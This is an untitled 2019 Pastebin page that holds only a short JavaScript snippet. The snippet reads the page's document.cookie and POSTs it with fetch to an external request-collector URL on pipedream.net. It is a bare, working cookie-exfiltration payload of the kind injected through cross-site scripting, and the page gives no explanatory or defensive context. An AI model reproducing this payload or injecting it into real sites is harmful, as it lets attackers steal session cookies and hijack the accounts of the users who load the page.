Advertisement
Guest User

Untitled

a guest
Sep 19th, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.28 KB | None | 0 0
  1. const headers = new Headers()
  2. headers.append("Content-Type", "application/json")
  3.  
  4. const body = { "name": document.cookie }
  5.  
  6. const options = {
  7. method: "POST",
  8. headers,
  9. mode: "cors",
  10. body: JSON.stringify(body),
  11. }
  12.  
  13. fetch("https://enau1lzx98htl.x.pipedream.net/", options)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement